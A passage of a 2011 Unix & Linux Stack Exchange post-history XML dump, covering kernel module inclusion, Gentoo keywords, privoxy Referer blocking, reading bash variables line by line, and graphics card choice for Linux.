undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:quoting] a tricky aspect of shell programming&#xD;&#xA;* [tag:wildcards] globbing, i.e., using patterns to match multiple files&#xD;&#xA;* [tag:file-management] [tag:text-processing] two common shell tasks&#xD;&#xA;* [tag:utilities] Shells often call external utilities dedicated to one particular task. Some have their own tags as well: [tag:awk] [tag:cd] [tag:cp] [tag:date] [tag:dd] [tag:find] [tag:grep] [tag:ls] [tag:mv] [tag:rm] [tag:sed] …&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="23345" PostHistoryTypeId="25" PostId="9757" RevisionGUID="c747218f-be42-4a7d-8507-94c180037230" CreationDate="2011-03-21T02:31:26.723" Comment="http://twitter.com/#!/StackUnix/status/49659351375425536" />
  <row Id="23346" PostHistoryTypeId="2" PostId="9768" RevisionGUID="43a88feb-a208-4bd3-adc7-f473fdb67de1" CreationDate="2011-03-21T02:40:00.597" UserDisplayName="yum" Text="I'm now compiling the linux kernel 2.6,and finding there are more than 1,000 module in total.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How's a module approved to be included into the linux kernel?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23347" PostHistoryTypeId="1" PostId="9768" RevisionGUID="43a88feb-a208-4bd3-adc7-f473fdb67de1" CreationDate="2011-03-21T02:40:00.597" UserDisplayName="yum" Text="How's a module approved to be included into the linux kernel?" />
  <row Id="23348" PostHistoryTypeId="3" PostId="9768" RevisionGUID="43a88feb-a208-4bd3-adc7-f473fdb67de1" CreationDate="2011-03-21T02:40:00.597" UserDisplayName="yum" Text="éuntaggedà" />
  <row Id="23349" PostHistoryTypeId="17" PostId="9768" RevisionGUID="1d08919f-ce85-467f-a877-685a69c67372" CreationDate="2011-03-21T02:44:21.093" UserId="-1" Comment="from http://serverfault.com/questions/249672/hows-a-module-approved-to-be-included-into-the-linux-kernel" Text="" />
  <row Id="23350" PostHistoryTypeId="2" PostId="9769" RevisionGUID="beabb241-15bc-4057-bbc1-3a3f6e49813d" CreationDate="2011-03-21T03:13:17.057" UserId="5880" Text="I suggest you buy a main-stream nvidia card for you linux, and find a driver on nvidia's official page. The driver installer will guide you to install itself. Depend on the linux distribution you are using, the install procedure may different, but generally you can find a  'HOW-TO' on the distribution's forum. You needn't buy a old card." />
  <row Id="23351" PostHistoryTypeId="2" PostId="9770" RevisionGUID="76cb0308-3a64-40e2-afc1-4099805acf36" CreationDate="2011-03-21T03:27:37.070" UserId="2180" Text="A patch or a git pull request is submitted with a request for comments. This is sometimes done to the kernel mailing list, but is frequently done on other lists pertaining to the subject of the patch first. Sometimes discussion about a proposed module is brought up before any code is even written. People ask why the patch is necessary, state their objections, and point out improvements that could be made. This is an iterative process. When the author is comfortable, he submits it to the Linux kernel mailing list during a time called the merge window.&#xD;&#xA;&#xD;&#xA;The moment an official release is made, the opening of the merge window for the next version begins. As part of the closing of the merge window, a patch is either accepted or not. If the patch is accepted, the only further changes to that section of code that are allowed are bug fixes. Also as part of the closing of the merge window, a new RC (release candidate) version of the kernel is released. Almost always, people will have problems with the patch and bugs will need to be fixed or the patch will be reverted." />
  <row Id="23352" PostHistoryTypeId="2" PostId="9771" RevisionGUID="244643d8-923a-4296-ab4a-0270a1db0440" CreationDate="2011-03-21T03:33:54.730" UserId="4485" Text="Simple and straight forward:&#xD;&#xA;&#xD;&#xA;    find -delete &#xD;&#xA;&#xD;&#xA;Includes directories and hidden files. " />
  <row Id="23353" PostHistoryTypeId="5" PostId="9768" RevisionGUID="688f39fc-08f4-42fd-be02-ce648bb55d68" CreationDate="2011-03-21T03:38:31.673" UserId="73" Comment="deleted 2 characters in body; edited tags" Text="I'm now compiling the linux kernel 2.6, and finding there are more than 1,000 modules in total. How is a module approved to be included into the linux kernel?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23354" PostHistoryTypeId="6" PostId="9768" RevisionGUID="688f39fc-08f4-42fd-be02-ce648bb55d68" CreationDate="2011-03-21T03:38:31.673" UserId="73" Comment="deleted 2 characters in body; edited tags" Text="ékernelàékernelömodulesà" />
  <row Id="23355" PostHistoryTypeId="5" PostId="9771" RevisionGUID="f88d0737-d01c-4315-ac87-f5f4e0e64c5a" CreationDate="2011-03-21T03:43:02.787" UserId="4485" Comment="added 58 characters in body" Text="Simple and straight forward:&#xD;&#xA;&#xD;&#xA;    find -delete &#xD;&#xA;&#xD;&#xA;Includes directories and hidden files. At least gnu-find knows `-delete`, your `find` may differ." />
  <row Id="23356" PostHistoryTypeId="2" PostId="9772" RevisionGUID="a8cd4c79-ae9f-42e1-b7b8-6570c50fd049" CreationDate="2011-03-21T03:55:30.193" UserId="3764" Text="I have a [Lenovo scrollpoint mouse][1]. It has the silly rubber stick thing in place of a scrollwheel, but more importantly it has an actual physical button rather than clicking the wheel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shop.lenovo.com/SEUILibrary/controller/e/web/LenovoPortal/en_US/catalog.workflow:item.detail?GroupID=38&amp;Code=31P7405&amp;current-category-id=E9ADAEB6787146E29B78400A33E7FE8A&amp;&amp;hide_menu_area=yes" />
  <row Id="23357" PostHistoryTypeId="2" PostId="9773" RevisionGUID="3cb90947-a6b0-4b7e-9fed-7359de474c88" CreationDate="2011-03-21T04:29:09.300" UserId="5902" Text="When I run `equery depgraph www-client/chromium-10.0.648.151`, not all dependencies are available. Some shows `M[package.mask]`, while some other shows `[missing keyword]`. My `ACCEPT_KEYWORDS` is `~amd64-linux`, according to `emerge --info`. I experimented with different `ACCEPT_KEYWORDS` (as an environmental variable passed to `eqeury`), and all have different missing dependencies. Among all possible combinations, only with `ACCEPT_KEYWORDS='amd64 ~amd64 ~amd64-linux'` all dependencies can be satisfied at once.&#xD;&#xA;&#xD;&#xA;**Here are my questions:**&#xD;&#xA;&#xD;&#xA;1. Is `ACCEPT_KEYWORDS='amd64 ~amd64 ~amd64-linux'` a valid configuration?&#xD;&#xA;2. I learned from the documentation that `amd64` mean stable, and  `~amd64` means unstable. What about `~amd64-linux`? &#xD;&#xA;3. If I select `~amd64`, `equery` wouldn't use the packages available only to  `amd64`, resulting in missing dependencies. Is this expected? If so, should unstable testers use at least `ACCEPT_KEYWORDS='amd64 ~amd64'` instead of `ACCEPT_KEYWORDS='~amd64'`?&#xD;&#xA;4. Does the order of the keywords matter?&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Additional info: I installed Gentoo Prefix following [this guide][1]. By default, &#xD;&#xA;`$EPREFIX/etc/make.profile` is a symlink to `$EPREFIX/usr/portage/profiles/prefix/linux/amd64` and contains a `make.defaults` that has `ACCEPT_KEYWORDS=&quot;-amd64 ~amd64-linux&quot;`. Neither `$EPREFIX/etc/make.conf` nor `$EPREFIX/etc/make.globals` has `ACCEPT_KEYWORDS` configured. According to `eselect profile list`, no profile is selected.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml&#xD;&#xA;" />
  <row Id="23358" PostHistoryTypeId="1" PostId="9773" RevisionGUID="3cb90947-a6b0-4b7e-9fed-7359de474c88" CreationDate="2011-03-21T04:29:09.300" UserId="5902" Text="In Gentoo, what is the difference between amd64, ~amd64 and ~amd64-linux?" />
  <row Id="23359" PostHistoryTypeId="3" PostId="9773" RevisionGUID="3cb90947-a6b0-4b7e-9fed-7359de474c88" CreationDate="2011-03-21T04:29:09.300" UserId="5902" Text="égentooàéchromeàédependenciesà" />
  <row Id="23360" PostHistoryTypeId="2" PostId="9774" RevisionGUID="939b9ee1-bae5-41be-a1e4-6c8ad2569f54" CreationDate="2011-03-21T04:40:02.097" UserId="3389" Text="Here are some situations where compiling your own kernel will benefit you:&#xD;&#xA;&#xD;&#xA;- A kernel with module loading disabled is more secure.  This will require you to select the modules you know you need and include them as part of the kernel, as opposed to compiling them as modules.&#xD;&#xA;&#xD;&#xA;- Disabling support for /dev/kmem, or crippling it with the appropriate compiler option is a good thing for security.  I think most distros do this by default now.&#xD;&#xA;&#xD;&#xA;- I prefer not to use initrd's when possible.  Customizing your kernel to the hardware it boots from eliminates the initrd.&#xD;&#xA;&#xD;&#xA;- Sometimes a later kernel version will have features you need, but this is very rare today.  I remember when I first started using Debian, it was using 2.4 kernels, but I needed a 2.6 kernel for udev support.&#xD;&#xA;- Disabling networking protocols/options you don't need can speed up your TCP/IP performance.&#xD;&#xA;&#xD;&#xA;- Disabling options you don't need lowers the memory footprint of the kernel, which is important in low RAM environments.  When you are using a 256MB RAM system as a router, this helps.&#xD;&#xA;&#xD;&#xA;- I find all the &quot;tty&quot; devices in /dev annoying on systems where I generally only log in via serial or ssh.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23361" PostHistoryTypeId="25" PostId="9773" RevisionGUID="de96fcfd-4211-48d5-bf87-80ff903e776f" CreationDate="2011-03-21T05:31:26.897" Comment="http://twitter.com/#!/StackUnix/status/49704650676514816" />
  <row Id="23362" PostHistoryTypeId="2" PostId="9775" RevisionGUID="afc5b021-4cd1-4688-a0ab-2255a3372704" CreationDate="2011-03-21T05:41:24.603" UserId="250" Text="**1. Is ACCEPT_KEYWORDS='amd64 ~amd64 ~amd64-linux' a valid configuration?**&#xD;&#xA;&#xD;&#xA;From man make.conf:&#xD;&#xA;&#xD;&#xA;&gt; ACCEPT_KEYWORDS = [space delimited list of KEYWORDS]&#xD;&#xA;&#xD;&#xA;So `ACCEPT_KEYWORDS='amd64 ~amd64 ~amd64-linux'` is a valid combination.&#xD;&#xA;&#xD;&#xA;**2. What about ~amd64-linux?**&#xD;&#xA;&#xD;&#xA;`amd64-linux` is a Prefix thing. I don't know much about Prefix, but I can see `amd64-linux` in the list of valid keywords at `/usr/portage/profiles/arch.list`, in the section named &quot;Prefix keywords&quot;. `~amd64-linux` is just the testing counterpart of `amd64-linux`.&#xD;&#xA;&#xD;&#xA;**3. `ACCEPT_KEYWORDS='amd64 ~amd64'` vs just `~amd64`**&#xD;&#xA;&#xD;&#xA;If you have `~amd64` in your `ACCEPT_KEYWORDS`, portage will use all the latest ebuilds, which often contains a lot of unstable stuff. I think that's why missing dependencies are to be expected. For example, that can happen if you want to install `software-a`, and the latest one in the testing branch is `software-a-2.3.4`, which requires `library-b-5.6.7`, which doesn't have an ebuild yet. Regarding `amd64 ~amd64` and just `~amd64`, they are the same, really, because if your architecture is amd64 you will have `amd64` in `ACCEPT_KEYWORDS`, no matter what.&#xD;&#xA;&#xD;&#xA;**4. Does the order of the keywords matter?**&#xD;&#xA;&#xD;&#xA;No, because it's just a matter of whether your `ACCEPT_KEYWORDS` variable contains a certain keyword or not. It's like a set (unordered).&#xD;&#xA;&#xD;&#xA;Having used Gentoo for a while, I still don't have the dare to put `~amd64` in my `ACCEPT_KEYWORDS`. It's so unstable it's really not recommended, setting it up for the first time guarantees a lot of breakage." />
  <row Id="23364" PostHistoryTypeId="2" PostId="9776" RevisionGUID="bbc1b6b4-e401-4c3b-9c0e-2c71ba4a6376" CreationDate="2011-03-21T07:31:09.217" UserId="4319" Text="As mentioned here, the Emacs' `eshell` could be your default term+shell. :) Then you'd use the usual text navigating keys there as a minimum. If you learned more special keys, then the following features of Emacs' `eshell` can be accessed: &#xD;&#xA;&#xD;&#xA;* [navigating, i.e. jumping, between the past cmd prompts](http://unix.stackexchange.com/questions/3650/would-it-be-possible-to-jump-between-prev-next-command-prompts/3729#3729),&#xD;&#xA;* [marking and narrowing to the output of previous cmds](http://unix.stackexchange.com/questions/3650/would-it-be-possible-to-jump-between-prev-next-command-prompts/9745#9745),&#xD;&#xA;* [substituting the output of the last cmd for a special shell var in the cmd prompt](http://unix.stackexchange.com/questions/9024/how-do-i-reuse-the-last-output-from-the-command-line/9399#9399)." />
  <row Id="23365" PostHistoryTypeId="2" PostId="9777" RevisionGUID="39d5aad6-6f1b-4235-9eca-db6dd1716919" CreationDate="2011-03-21T08:17:58.233" UserId="4843" Text="I want to do multicasting in linux for the video/audio/data file transmission.&#xD;&#xA;&#xD;&#xA;Is there any utility/tool to do so ?" />
  <row Id="23366" PostHistoryTypeId="1" PostId="9777" RevisionGUID="39d5aad6-6f1b-4235-9eca-db6dd1716919" CreationDate="2011-03-21T08:17:58.233" UserId="4843" Text="Multicasting in Linux" />
  <row Id="23367" PostHistoryTypeId="3" PostId="9777" RevisionGUID="39d5aad6-6f1b-4235-9eca-db6dd1716919" CreationDate="2011-03-21T08:17:58.233" UserId="4843" Text="élinuxà" />
  <row Id="23368" PostHistoryTypeId="25" PostId="9777" RevisionGUID="9c0bf113-509a-4156-84fb-730c585cf2eb" CreationDate="2011-03-21T08:31:27.303" Comment="http://twitter.com/#!/StackUnix/status/49749949700784128" />
  <row Id="23369" PostHistoryTypeId="2" PostId="9778" RevisionGUID="71b71f33-4827-455d-a5e3-ea887fc83b8c" CreationDate="2011-03-21T08:33:03.557" UserId="5495" Text="On Ubuntu 10.10, which *.xml file under the directory /usr/share/mime/applications is for MIME type &quot;text/html&quot; (*.html)?&#xD;&#xA;&#xD;&#xA;I checked &quot;xml.xml&quot; and &quot;xhtml+xml.xml&quot;, but neither has a glob pattern of &quot;*.html&quot;.&#xD;&#xA;So where is this file format entry? &#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;Amanda&#xD;&#xA;" />
  <row Id="23370" PostHistoryTypeId="1" PostId="9778" RevisionGUID="71b71f33-4827-455d-a5e3-ea887fc83b8c" CreationDate="2011-03-21T08:33:03.557" UserId="5495" Text="How is MIME type &quot;text/html&quot; is register to shared-mime-info? Where is its *.xml file?" />
  <row Id="23371" PostHistoryTypeId="3" PostId="9778" RevisionGUID="71b71f33-4827-455d-a5e3-ea887fc83b8c" CreationDate="2011-03-21T08:33:03.557" UserId="5495" Text="élinuxàéubuntuàémimeötypesà" />
  <row Id="23372" PostHistoryTypeId="2" PostId="9779" RevisionGUID="1e03ed5e-ace5-4b2c-864f-89e922f9c7fd" CreationDate="2011-03-21T09:03:50.783" UserId="5664" Text="How can i set a privoxy rule in the user.action file to block the referer information on any site?" />
  <row Id="23373" PostHistoryTypeId="1" PostId="9779" RevisionGUID="1e03ed5e-ace5-4b2c-864f-89e922f9c7fd" CreationDate="2011-03-21T09:03:50.783" UserId="5664" Text="Hide referer with privoxy" />
  <row Id="23374" PostHistoryTypeId="3" PostId="9779" RevisionGUID="1e03ed5e-ace5-4b2c-864f-89e922f9c7fd" CreationDate="2011-03-21T09:03:50.783" UserId="5664" Text="élinuxàéprivoxyà" />
  <row Id="23375" PostHistoryTypeId="5" PostId="9725" RevisionGUID="db5f68e6-b92a-45cc-8a05-ca726be4c8d4" CreationDate="2011-03-21T09:07:48.383" UserId="4319" Comment="Typo." Text="At [ALTLinux](http://en.altlinux.org), much effort is put into maintaining accurate spec-files for packages and that building the packages is accurately reproducible in the current state of the repository of packages. It is being checked regularly that every package in the repository (called [Sisyphus](http://en.altlinux.org/Sisyphus)) is rebuildable at the current moment -- [a rebuild test status report](http://lists.altlinux.org/pipermail/sisyphus-cybertalk/2011-March/078193.html), [the logs of the last rebuild test, per package](http://git.altlinux.org/beehive/logs/Sisyphus-i586/latest/error/).&#xD;&#xA;&#xD;&#xA;To be sure in accurate reproducibility of package builds, special tools to isolate the build system from the host system are used: [hasher](http://en.altlinux.org/Hasher) and the surrounding build-infrastructure tools (e.g., [Building packages with gear](http://en.altlinux.org/Git.alt_reference#Building_packages_with_gear)).&#xD;&#xA;&#xD;&#xA;So, although ALTLinux isn't dedicated to installing your system by building, **one can be sure that a package he takes from the repository will be easily rebuildable at his host system**, without extra issues that haven't been tracked formally by the spec.&#xD;&#xA;&#xD;&#xA;ALTLinux is dedicated to being the source for custom package repositories and distros, which--by the design of ALTLinux build system and associated tools--can be easily customized and rebuilt independently from ALTLinux and safely (i.e., isolated from your host system). So, if one wants to make his own customized distro, [ALTLinux Sisyphus](http://en.altlinux.org/Sisyphus) can be the base for this distro that will be easy for him to use in his work: [Intro into making your own distro (in Russian)](http://www.altlinux.org/%22%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D1%83_%D0%B4%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2%D0%BE%D0%B2%22)." />
  <row Id="23376" PostHistoryTypeId="2" PostId="9780" RevisionGUID="238029c5-85e9-47ef-ba9c-8213f0480f61" CreationDate="2011-03-21T09:09:54.867" UserId="5884" Text="I believe you are looking for this:&#xD;&#xA;http://www.keyboardco.com/keyboard_details.asp?PRODUCT=572&#xD;&#xA;&#xD;&#xA;this is lefty version, but righty is also available (I prefer lefty, because I am righty)." />
  <row Id="23377" PostHistoryTypeId="2" PostId="9781" RevisionGUID="9d154696-b319-4bc9-baef-b2804a66d36a" CreationDate="2011-03-21T09:25:53.870" UserId="5923" Text="The ACCEPT_KEYWORDS environment variable is for allowing &quot;all&quot; not-yet-marked stable packages/versions for the current architecture to be built.&#xD;&#xA;&#xD;&#xA;The ~ in front of an arch means unstable (not &quot;completely&quot; tested).&#xD;&#xA;&#xD;&#xA;The often better approach is to use /etc/portage/package.keywords and list the package in there with the ~amd64 keyword if you really need the latest build.&#xD;&#xA;&#xD;&#xA;By the way: amd64 firewall, isn't that how wikipedia defines overkill?&#xD;&#xA;&#xD;&#xA;1. Yes&#xD;&#xA;2. Never heard of &quot;~amd64-linux&quot;, but the ~ means &quot;unstable&quot;.&#xD;&#xA;3. No, it is not expected that &quot;~amd64&quot; excludes &quot;amd64&quot;.&#xD;&#xA;4. No." />
  <row Id="23378" PostHistoryTypeId="2" PostId="9782" RevisionGUID="25f40226-0bc3-47b0-abe3-6d70d087b1f8" CreationDate="2011-03-21T09:28:41.653" UserId="5924" Text="You can use VLC to do this, see http://tldp.org/REF/VideoLAN-Quickstart/x536.html for instance." />
  <row Id="23379" PostHistoryTypeId="2" PostId="9783" RevisionGUID="f300674d-c693-4317-8640-aae04917a57b" CreationDate="2011-03-21T09:52:03.690" UserId="5923" Text="Do you want to stop the REFERER header from your requests to all sites you access through privoxy?&#xD;&#xA;&#xD;&#xA;You could try something like this:&#xD;&#xA;&#xD;&#xA;    { +crunch-client-header{Referer:} }&#xD;&#xA;    /&#xD;&#xA;&#xD;&#xA;But be advised that some sites may break if you have no Referer set." />
  <row Id="23380" PostHistoryTypeId="2" PostId="9784" RevisionGUID="7319c49a-33fd-4c0b-bd21-edff1479a3b2" CreationDate="2011-03-21T10:07:44.800" UserId="903" Text="I have a variable which contains multiline output of a command. What's the most effecient way to read the output line by line from the variable?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    jobs=&quot;$(jobs)&quot;&#xD;&#xA;    if [ &quot;$jobs&quot; ]; then&#xD;&#xA;        # read lines from $jobs&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23381" PostHistoryTypeId="1" PostId="9784" RevisionGUID="7319c49a-33fd-4c0b-bd21-edff1479a3b2" CreationDate="2011-03-21T10:07:44.800" UserId="903" Text="How can I read line by line from a variable in bash?" />
  <row Id="23382" PostHistoryTypeId="3" PostId="9784" RevisionGUID="7319c49a-33fd-4c0b-bd21-edff1479a3b2" CreationDate="2011-03-21T10:07:44.800" UserId="903" Text="ébashà" />
  <row Id="23383" PostHistoryTypeId="2" PostId="9785" RevisionGUID="eae579c1-4166-4432-bccf-24cc11fb8745" CreationDate="2011-03-21T10:14:19.750" UserId="3645" Text="    jobs=&quot;$(jobs)&quot;&#xD;&#xA;    while read&#xD;&#xA;    do&#xD;&#xA;        echo $REPLY&#xD;&#xA;    done &lt;&lt;&lt; &quot;$jobs&quot;" />
  <row Id="23384" PostHistoryTypeId="2" PostId="9786" RevisionGUID="aad41a00-8858-4965-8de7-5cd95a76ae76" CreationDate="2011-03-21T10:20:26.180" UserId="5923" Text="I would go with:&#xD;&#xA;&#xD;&#xA;    jobs=&quot;$(jobs)&quot;&#xD;&#xA;    IFS=&quot;`echo`&quot;&#xD;&#xA;    for line in $jobs&#xD;&#xA;    do&#xD;&#xA;      echo $line&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;(if the output from `jobs` could be &gt; 16MB, I would stick it in a temp file, and traverse that)." />
  <row Id="23385" PostHistoryTypeId="5" PostId="9785" RevisionGUID="c7af5fbe-e79a-4ff7-be29-28b5bce09bbd" CreationDate="2011-03-21T10:21:01.473" UserId="3645" Comment="added 249 characters in body; added 5 characters in body; added 121 characters in body; added 114 characters in body" Text="    jobs=&quot;$(jobs)&quot;&#xD;&#xA;    while IFS= read&#xD;&#xA;    do&#xD;&#xA;        echo $REPLY&#xD;&#xA;    done &lt;&lt;&lt; &quot;$jobs&quot;&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;* [Here strings][1]&#xD;&#xA;* [`while`][2]&#xD;&#xA;* [`IFS`][3]&#xD;&#xA;* [`read`][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/x13320.html&#xD;&#xA;  [2]: http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/loops1.html#WHILELOOPREF&#xD;&#xA;  [3]: http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/internalvariables.html#IFSREF&#xD;&#xA;  [4]: http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/internal.html#READREF" />
  <row Id="23386" PostHistoryTypeId="2" PostId="9787" RevisionGUID="acd50fe3-df6d-4202-85ff-a41f0480b3d3" CreationDate="2011-03-21T10:29:14.127" UserId="5923" Text="No, there should be no overlaps in `errno.h` on a given system.&#xD;&#xA;Check your `errno.h` (most likely somewhere under /usr/include) for defines starting with E, as in `ENOENT` and such, and make a `switch()` statement handling each case.&#xD;&#xA;Then you can call your own function for all system call errors.&#xD;&#xA;&#xD;&#xA;(Sounds a lot like you're implementing `perror(3)`.&#xD;&#xA;" />
  <row Id="23387" PostHistoryTypeId="2" PostId="9788" RevisionGUID="16327adb-42fd-4463-9e33-c25a68de31e4" CreationDate="2011-03-21T10:37:42.310" UserId="5923" Text="If you don't have a `which` supporting `-a`, or `whence` available, roll your own:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -&#xD;&#xA;&#xD;&#xA;    IFS=&quot;:&quot;&#xD;&#xA;    for PART in $PATH&#xD;&#xA;    do&#xD;&#xA;      if test -f &quot;$PART/$1&quot;&#xD;&#xA;      then&#xD;&#xA;        echo $PART/$1&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23388" PostHistoryTypeId="2" PostId="9789" RevisionGUID="710969a2-9630-4cb9-949c-a3d18bb322b3" CreationDate="2011-03-21T10:40:09.843" UserId="872" Text="You can use a while loop with process substitution:&#xD;&#xA;&#xD;&#xA;    while read line&#xD;&#xA;    do&#xD;&#xA;        echo &quot;$line&quot;&#xD;&#xA;    done &lt; &lt;(jobs)&#xD;&#xA;&#xD;&#xA;Also, please don't call your variable `jobs` because that is a shell command and may cause confusion." />
  <row Id="23389" PostHistoryTypeId="5" PostId="9789" RevisionGUID="66b6f316-a309-4ddc-9e5e-0bfbbd48cc34" CreationDate="2011-03-21T10:45:45.610" UserId="872" Comment="added 126 characters in body" Text="You can use a while loop with process substitution:&#xD;&#xA;&#xD;&#xA;    while read line&#xD;&#xA;    do&#xD;&#xA;        echo &quot;$line&quot;&#xD;&#xA;    done &lt; &lt;(jobs)&#xD;&#xA;&#xD;&#xA;To read a multiline variable, a simple way is:&#xD;&#xA;&#xD;&#xA;    echo &quot;$var&quot; | while read line&#xD;&#xA;    do&#xD;&#xA;       echo &quot;$line&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Also, please don't call your variable `jobs` because that is a shell command and may cause confusion." />
  <row Id="23390" PostHistoryTypeId="4" PostId="9520" RevisionGUID="06ae99e9-9072-4768-89f0-ff624ebecee4" CreationDate="2011-03-21T11:09:06.750" UserId="3645" Comment="edited title" Text="How can I monitor disk I/O in a particular directory?" />
  <row Id="23391" PostHistoryTypeId="25" PostId="9784" RevisionGUID="384bcd36-338c-4dac-a1d7-0a82215b6a9f" CreationDate="2011-03-21T11:31:26.477" Comment="http://twitter.com/#!/StackUnix/status/49795246120374272" />
  <row Id="23395" PostHistoryTypeId="2" PostId="9791" RevisionGUID="d3b033a9-1c7a-4ef8-89dc-5c60a3ed8680" CreationDate="2011-03-21T11:49:47.960" UserId="5926" Text="I have bought a new touchscreen POS machine and i have installed fedora 14 in it ..... i couldnt make the touch screen working as the elo touch manufacturers have drivers only for kernel 2.6.14 versions ..... even though fedora 14 have precomplied kernel level driver support for elo touch screens i am unable to get it working ... i have tried the xorg.conf configuration as well but nothing is working .... could anyone please help me with this as i am unable to get it going ..... thank you ..." />
  <row Id="23396" PostHistoryTypeId="1" PostId="9791" RevisionGUID="d3b033a9-1c7a-4ef8-89dc-5c60a3ed8680" CreationDate="2011-03-21T11:49:47.960" UserId="5926" Text="ELO Touch Screen" />
  <row Id="23397" PostHistoryTypeId="3" PostId="9791" RevisionGUID="d3b033a9-1c7a-4ef8-89dc-5c60a3ed8680" CreationDate="2011-03-21T11:49:47.960" UserId="5926" Text="éfedoraà" />
  <row Id="23398" PostHistoryTypeId="17" PostId="9791" RevisionGUID="defbb289-be45-4b8f-bc86-992cfdddce88" CreationDate="2011-03-21T12:15:26.860" UserId="-1" Comment="from http://stackoverflow.com/questions/5377203/elo-touch-screen" Text="" />
  <row Id="23400" PostHistoryTypeId="6" PostId="9791" RevisionGUID="9b45119e-e2ad-4c77-817e-9258cd5642bf" CreationDate="2011-03-21T12:20:09.383" UserId="5926" Comment="edited tags" Text="élinuxàéfedoraà" />
  <row Id="23401" PostHistoryTypeId="5" PostId="9553" RevisionGUID="94b60984-f8b1-4e48-a5dc-41268bc73bcd" CreationDate="2011-03-21T12:30:47.973" UserId="2511" Comment="added 235 characters in body" Text="I'm  building or buying a new Linux system, and I'm trying to select the best graphics card for my needs. How do I go about making this decision?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's dozens of computer-gear review sites which drool over every detail of new graphics hardware and perform detailed benchmarks and pros and cons — for Microsoft Windows. Are these ever useful sources of information for Linux too? Does any site at least give Linux a cursory look?&#xD;&#xA;&#xD;&#xA;I'm primarily interested in good 2D performance, but with fancy new desktop environments now requiring hardware-accelerated 3D, I need to consider that too. Where can I find pre-purchase information on that?&#xD;&#xA;&#xD;&#xA;I strongly prefer having an open source driver. How do I judge which open source drivers are the best in terms of features support and performance, without joining a dozen different mailing lists? Are specific companies almost always the best bet, or does it change?&#xD;&#xA;&#xD;&#xA;What are the advantages and drawbacks of a closed-source driver? Is this mostly about 3D performance, or are there other features enabled by proprietary drivers that I might miss out on? Is the state-of-the-art finally such that I can choose between open or closed for any given graphics card, or do some models require one or the other?&#xD;&#xA;&#xD;&#xA;It'd be great if the  card just worked hassle-free with whatever modern Linux distribution I choose, with no need to go through a long how-to process. Is this a reasonable hope, and how can I best find a card that'll work that way?&#xD;&#xA;&#xD;&#xA;How do I find if a specific graphics driver fits a given model on the market? Is it best to buy older cards in order to insure that support is available?&#xD;&#xA;" />
  <row Id="23402" PostHistoryTypeId="2" PostId="9792" RevisionGUID="1ffa6760-ae6f-4a6c-9169-44b912c1517a" CreationDate="2011-03-21T12:54:38.900" UserId="3447" Text="Open source drivers are getting pretty good  these days.  I haven't had any problem with Intel or AMD hardare.&#xD;&#xA;&#xD;&#xA;**Intel**  &#xD;&#xA;I hear the old ones are pretty bad, but my G4500HD does everything I need well.  Video acceleration could be better though.  There isn't a proprietary driver for Intel either, your only choice is open source.  The composited 3D desktop in KDE works great on my laptop which has an Intel chip.&#xD;&#xA;&#xD;&#xA;**AMD/ATi**  &#xD;&#xA;Right now the older cards are better supported than the new ones.  If you could somehow get an x1800 or something from the same generation that would probably be the best.  The `r300g` driver is getting more development work than `r600g`.  That's not to say `r600g` is bad, in fact it's great!  It's just somewhat behind the driver for the older hardware.  AMD has a proprietary driver for the new hardware, but in my experience you want to avoid it; it's pretty bad.  The hardware covered by `r300g` isn't supported by that driver, so the open driver is your only option there.  And like the Intel chip I have, my Radeon 4850 runs the composited desktop in KDE well.&#xD;&#xA;&#xD;&#xA;At the moment, I wouldn't recommend an HD6000 series.  The 6900s have no support at all in the open driver, and the others have basic support.  Go for an HD5000 or an HD4000.&#xD;&#xA;&#xD;&#xA;**Nvidia**  &#xD;&#xA;They have a really good proprietary driver, but the open driver is struggling along.  It's getting better all the time, but Nvidia is doing nothing to help the developers.  At least AMD helps out a little bit for their hardware.&#xD;&#xA;&#xD;&#xA;The advantage to having an open driver is that it will work out of the box in any distro.  If you install Fedora, everything will work including dual screen and 3D.  The proprietary ones are painful to setup.  Neither of them properly set up my dual screens.  It was easier to setup with Nvidia which isn't saying much because the AMD blob was just awful at this.  Also, anytime you update the kernel, you have to reinstall the driver.  Most distros take care of this if you install the in-repo version, but if you don't it's annoying to boot up one 